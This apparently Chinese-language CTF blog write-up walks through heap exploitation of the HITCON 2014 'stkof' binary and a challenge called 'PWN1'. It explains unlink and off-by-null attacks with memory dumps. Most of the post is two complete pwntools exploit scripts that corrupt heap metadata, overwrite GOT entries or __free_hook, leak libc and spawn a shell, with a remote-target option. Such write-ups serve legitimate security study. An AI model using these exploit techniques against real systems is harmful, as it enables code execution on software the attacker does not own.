登录后台

页面导航

本文编写于 434 天前,最后修改于 126 天前,其中某些信息可能已经过时。

续集......

参考链接:https://xz.aliyun.com/t/5748

2014 HITCON stkof

程序分析

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

又来一个蜜汁操作,堆题不输出任何东西,需要盲人摸象了......

开玩笑^_^,看ida吧
功能:(1)creat; (2)edit; (3)delete; (4)0.0(判断index是否存在,=没用);

漏洞在edit里面,可以溢出,再通过unlink操作就可以pwn这道题

操作步骤

1.leak出堆的地址:伪造一个堆块,让chunk3和chunk2合并,构造unlink的条件,在free掉chunk3的时候就会触发合并机制,pre_size伪造成chunk2的大小size的末尾置0,就可以让chunk3在free的时候相信chunk2是空闲的。

alloc(0x100)
alloc(0x30)
alloc(0x80)
# a fake chunk at global[2] = head + 16 who's size is 0x20
payload = p64(0)        #prev_size
payload += p64(0x20)  #size
payload += p64(head + 16 - 0x18)  #fd
payload += p64(head + 16 - 0x10)  #bk
payload += p64(0x20)  # next chunk's prev_size bypass the check
payload = payload.ljust(0x30, 'a')
# overwrite global[3]'s chunk's prev_size
# make it believe that prev chunk is at global[2]
payload += p64(0x30)
# make it believe that prev chunk is free
payload += p64(0x90)
edit(2, len(payload), payload)
free(3) #unlink

unlink操作:

fd -> bk = bk ===> [head + 16 - 0x18 + 0x18] = head + 16 - 0x10
[0x602150] = 0x602140
bk -> fd = fd ===> [head + 16 - 0x10 + 0x10] = head + 16 - 0x18
[0x602150] = 0x602138
0x21d4540:    0x0000000000000000    0x0000000000000020
0x21d4550:    0x0000000000602138    0x0000000000602140
0x21d4560:    0x0000000000000020    0x6161616161616161
0x21d4570:    0x0000000000000030    0x0000000000000090

2.写入

# overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got
payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(stkof.got['atoi'])
edit(2, len(payload), payload)

3.将puts的plt表输出,然后leak出libc的地址

payload = p64(stkof.plt['puts'])
edit(0, len(payload), payload)

4.算出system函数地址和bin/sh地址, 然后将systen函数的地址写入atoi的got表, 将bin/sh的地址传入

exp:

#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
#context(arch='i386', os='linux')
local = 1
elf = ELF('./stkof')
if local:
    p = process('./stkof')
    libc = elf.libc
else:
    p = remote('116.85.48.105',5005)
    libc = ELF('./libc.so.6')

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
#addr = u64(rc(6).ljust(8,'\x00'))
#addr = u32(rc(4))
#addr = int(rc(6),16)#string
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr):
    gdb.attach(p,"b *"+str(hex(addr)))

def edit(index,size,Content):
    sl('2')
    sl(str(index))
    sl(str(size))
    sd(Content)
    ru('OK\n')
def free(Index):
    sl('3')
    sl(str(Index))
def malloc(size):
    sl('1')
    sl(str(size))
    ru('OK\n')

ptr = 0x602150
free_got = elf.got['free']
atoi_got = elf.got['atoi']
puts_got = elf.got["puts"]
puts_plt = elf.symbols['puts']
malloc(0x80)#1
malloc(0x30)#2
bk(0x400981)
malloc(0x80)#3
FD = ptr - 0x18
BK = ptr - 0x10
py = ''
py += p64(0) + p64(0x31)
py += p64(FD) + p64(BK)
py += 'a'*16
py += p64(0x30) + p64(0x90)
edit(2,0x40,py)
free(3)
py1 = ''
py1 += p64(0) + p64(atoi_got) + p64(puts_got) + p64(free_got)
edit(2,len(py1),py1)
py2 = ''
py2 += p64(puts_plt)
edit(2,len(py2),py2)
free(1)
puts_addr = u64(ru('\x7f')[-6:].ljust(8,'\x00'))
print "puts_addr--->" + hex(puts_addr)
onegadget = puts_addr - libc.symbols["puts"] + 0xf02a4
print "onegadget--->" + hex(onegadget)
system = puts_addr - libc.symbols["puts"] + libc.symbols['system']
# edit(2,0x8,p64(onegadget))
# free(2)
edit(0,0x8,p64(system))
sl('/bin/sh\x00')
p.interactive()

PWN1

程序分析

checksec:

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

运行一下:

1.malloc    //0<index<32,  127<size<256,  输出heap[index]的地址
2.free        //free(heap[index]), heap[index]=0, len(index)=0
3.edit        //只能修改一次
4.show        //key2为1时

bss段的数据是这样排列的,key1和key2的修改需要靠前面的heap和len

len_addr = 0x602060
heap_addr = 0x6020E0
key2 = 0x6022B8
key1 = 0x6022BC

如果我们可以往chunk32的地址0x6021E0处写入内容的话,就可以实现下溢,0x6022b8-0x6021E0 = 0xd8字节,也就是从这里开始输入要输入0xd8的字节,同时chunk32是我们能控制的最后一个chunk块,unlink后输入的位置是chunk29的地址,有0x18的距离,0x18+0xd8=0xf0,也就是要填充0xf0的junk string,然后再写入8字节的数字,所以一共需要0xf8的大小,即堆块的大小必须要是0xf8才行,这是第一个坑点,需要计算出要malloc的堆块大小。

接着因为off by null的原理是在输入最后加上一个x00,溢出一个字节,那么就可以想到修改上一个堆块的状态为free,于是想到可以用unlink的做法实现chunk32的地址指向chunk29,那么我们可以构造出来:

malloc(0,0xf8,'aaaa')
malloc(32,0xf8,'bbbb')
malloc(1,0xf8,'cccc')
malloc(31,0xf8,'dddd')
free_got = elf.got['free']
ptr = 0x6021E0#32
FD = ptr - 24
BK = ptr - 16
py = ''
py += p64(0) + p64(0xf1)
py += p64(FD) + p64(BK)
py = py.ljust(0xf0, "\x00")
py += p64(0xf0)
edit(32,py)
free(1)

我们先申请4个堆块,然后在chunk32里面做文章,构造出我们的unlink链子,由于off by one的漏洞,会把chunk1的size字节低位置为0,那么就是说我们的fake_chunk是free状态的,这时我们如果free掉chunk1,就会触发unlink从而实现了chunk32指向chunk29,如果我们edit了chunk32,就会从chunk29开始输入.

接着是fake_chunk的构造:方框是fake_chunk,圆圈是我们的offbyone漏洞,使得我们的fake_chunk为free状态

这里很巧妙的一点就是chunk29到chunk31都填写chunk32的地址,也就是往chunk29到chunk31写入内容实则都是往chunk32写入内容,那么我们可以进行真实地址泄露了,这里可以puts出chunk32上面的free的真实地址,也可以通过打印1号块的内容来泄露main_arena地址(unsorted bin攻击),打印完了我们就可以得到system和onegadget和free_hook的地址,然后将free_hook地址写入到chunk32中,再往chunk32写入onegadget:

#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
#context(arch='i386', os='linux')
local = 1
elf = ELF('./pwn1')
if local:
    p = process('./pwn1')
    libc = elf.libc
else:
    p = remote('116.85.48.105',5005)
    libc = ELF('./libc.so.6')

def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr):
    gdb.attach(p,"b *"+str(hex(addr)))

def edit(index,Content):
    ru("show")
    sl('3')
    ru("index:")
    sl(str(index))
    ru("content:")
    sd(Content)
def free(Index):
    ru("show")
    sl('2')
    ru("index:")
    sl(str(Index))
def malloc(index,size,content):
    ru("show")
    sl('1')
    ru("index:")
    sl(str(index))
    ru("size:")
    sl(str(size))
    ru("content:")
    sd(content)
def puts(index):
    ru("show")
    sl('4')
    ru("index:")
    sl(str(index))


#bk(0x400990)
malloc(0,0xf8,'aaaa')
malloc(32,0xf8,'bbbb')
malloc(1,0xf8,'cccc')
malloc(31,0xf8,'dddd')
free_got = elf.got['free']
ptr = 0x6021E0#32
FD = ptr - 24
BK = ptr - 16
py = ''
py += p64(0) + p64(0xf1)
py += p64(FD) + p64(BK)
py = py.ljust(0xf0, "\x00")
py += p64(0xf0)
edit(32,py)
free(1)
#0xF8
py = ''
py += p64(0x6021E0)*3 + p64(free_got)
py += 'a'*0xD0
py += p64(1)
edit(32,py)
puts(32)
free_addr = u64(ru('\x7f')[-6:].ljust(8,'\x00'))
print "free_addr--->" + hex(free_addr)
onegadget = free_addr - libc.symbols["free"] + 0x4526a
print "onegadget--->" + hex(onegadget)
free_hook = free_addr - libc.symbols["free"] + libc.symbols['__free_hook']
print "free_hook--->" + hex(free_hook)
pay = p64(free_hook)#这里需要注意,edit又会被使用完,所以需要再覆盖一次为1
pay = pay.ljust(0xf0,'\x00')
pay += p64(1)
edit(31,pay)
edit(32,p64(onegadget))
free(0)
p.interactive()